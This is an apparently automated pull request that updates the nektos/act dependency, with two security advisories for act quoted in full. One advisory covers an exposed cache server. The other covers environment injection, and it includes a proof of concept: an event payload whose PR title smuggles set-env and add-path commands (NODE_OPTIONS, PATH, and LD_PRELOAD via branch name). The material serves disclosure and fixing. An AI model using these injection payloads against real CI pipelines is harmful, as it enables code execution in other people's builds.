fix(deps): update module github.com/nektos/act to v0.2.86 [security] by TheFox0x7 · Pull Request #23 · TheFox0x7/gitea

TheFox0x7 · 2026-04-25T20:25:33Z

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/nektos/act	`v0.2.63` → `v0.2.86`

act: actions/cache server allows malicious cache injection

CVE-2026-34042 / GHSA-x34h-54cw-9825 / GO-2026-4890

More information

Details

act's built-in actions/cache server listens to connections on all interfaces and allows anyone who can connect to it — including someone anywhere on the internet — to create caches with arbitrary keys and retrieve all existing caches. If one can predict which cache keys will be used by local actions, one can create malicious caches containing whatever files one pleases, most likely allowing arbitrary remote code execution within the Docker container.

Discovery

Discovered while discussing forgejo/runner#294.

Proposed Mitigation

It was discussed to append a secret to ACTIONS_CACHE_URL to retain compatibility with GitHub's cache action and still allow authorization. Forgejo is considering also encoding which repo is currently being run in CI into the secret in the URL to prevent unrelated repos using the same (probably global) runner from seeing each other's caches.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

act: Unrestricted set-env and add-path command processing enables environment injection

CVE-2026-34041 / GHSA-xmgr-9pqc-h5vw / GO-2026-4891

More information

Details

Summary

act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.

Vulnerable Code

pkg/runner/command.go, lines 52-58:

switch command {
case "set-env":
    rc.setEnv(ctx, kvPairs, arg)
case "set-output":
    rc.setOutput(ctx, kvPairs, arg)
case "add-path":
    rc.addPath(ctx, arg)

There is no check for the ACTIONS_ALLOW_UNSECURE_COMMANDS environment variable. The string ACTIONS_ALLOW_UNSECURE_COMMANDS does not appear anywhere in the act codebase.

On GitHub Actions, these commands are rejected unless ACTIONS_ALLOW_UNSECURE_COMMANDS=true is set:

Error: The `set-env` command is disabled. Please upgrade to using Environment Files
  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.

PoC: Environment and PATH Injection via PR Title

Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0

Step 1 — Create a workflow that logs PR metadata:

.github/workflows/vuln.yml:

name: Vulnerable Workflow
on: [pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Log PR info
        run: |
          echo "Processing PR: $"

      - name: Subsequent step - check environment
        run: |
          echo "=== Environment Injection Check ==="
          echo "NODE_OPTIONS=$NODE_OPTIONS"
          echo "EVIL_VAR=$EVIL_VAR"
          echo "PATH=$PATH"

Step 2 — Create a malicious event payload:

event.json:

{
  "pull_request": {
    "title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin",
    "number": 1,
    "head": { "ref": "fix-typo", "sha": "abc123" },
    "base": { "ref": "main", "sha": "def456" }
  }
}

Step 3 — Run:

git init && git add -A && git commit -m "init"
act pull_request -e event.json

Result:

[Vulnerable Workflow/build]   | Processing PR: Fix typo
[Vulnerable Workflow/build]   ⚙  ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build]   ⚙  ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build]   ⚙  ::add-path:: /tmp/evil-bin
[Vulnerable Workflow/build]   ✅  Success - Main Log PR info

[Vulnerable Workflow/build]   | === Environment Injection Check ===
[Vulnerable Workflow/build]   | NODE_OPTIONS=--require=/tmp/evil.js
[Vulnerable Workflow/build]   | EVIL_VAR=INJECTED_BY_ATTACKER
[Vulnerable Workflow/build]   | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Vulnerable Workflow/build]   | EXPLOITED: EVIL_VAR was injected into this step!
[Vulnerable Workflow/build]   ✅  Success
[Vulnerable Workflow/build] 🏁  Job succeeded

All three injections succeeded silently:

EVIL_VAR=INJECTED_BY_ATTACKER — arbitrary env var injected into subsequent step
NODE_OPTIONS=--require=/tmp/evil.js — Node.js code execution vector
/tmp/evil-bin prepended to PATH — command hijacking vector

Attack Scenarios

Scenario 1: Malicious PR title/body. An attacker opens a PR with ::set-env name=NODE_OPTIONS::--require=/tmp/evil.js embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.

Scenario 2: Malicious branch name. $ is attacker-controlled. A branch named fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so can inject LD_PRELOAD, which causes every subsequent dynamically-linked binary to load the attacker's shared library.

Scenario 3: Commit message injection. If a step runs git log --oneline and the output flows to stdout, an attacker's commit message containing ::set-env:: commands will be processed.

Impact

Command injection via env vars: LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, BASH_ENV, PERL5OPT all enable arbitrary code execution
PATH hijacking: attacker-controlled directory prepended to PATH hijacks any subsequent command
Cross-step escalation: a step that merely logs untrusted data compromises all subsequent steps
Supply chain risk: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security

Suggested Fix

Add a check matching GitHub Actions' behavior:

case "set-env":
    if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
        logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
        return false
    }
    rc.setEnv(ctx, kvPairs, arg)
case "add-path":
    if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" {
        logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true")
        return false
    }
    rc.addPath(ctx, arg)

This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via ACTIONS_ALLOW_UNSECURE_COMMANDS=true, matching GitHub's approach.

Written by Golan Myers

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

act: actions/cache server allows malicious cache injection in github.com/nektos/act

CVE-2026-34042 / GHSA-x34h-54cw-9825 / GO-2026-4890

More information

Details

act: actions/cache server allows malicious cache injection in github.com/nektos/act

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act

CVE-2026-34041 / GHSA-xmgr-9pqc-h5vw / GO-2026-4891

More information

Details

act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

nektos/act (github.com/nektos/act)

Conversation

TheFox0x7 commented Apr 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

act: actions/cache server allows malicious cache injection

Details

Discovery

Proposed Mitigation

Severity

References

act: Unrestricted set-env and add-path command processing enables environment injection

Details

Summary

Vulnerable Code

PoC: Environment and PATH Injection via PR Title

Attack Scenarios

Impact

Suggested Fix

Severity

References

act: actions/cache server allows malicious cache injection in github.com/nektos/act

Details

Severity

References

act: Unrestricted set-env and add-path command processing enables environment injection in github.com/nektos/act

Details

Severity

References

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TheFox0x7 commented Apr 25, 2026 •

edited

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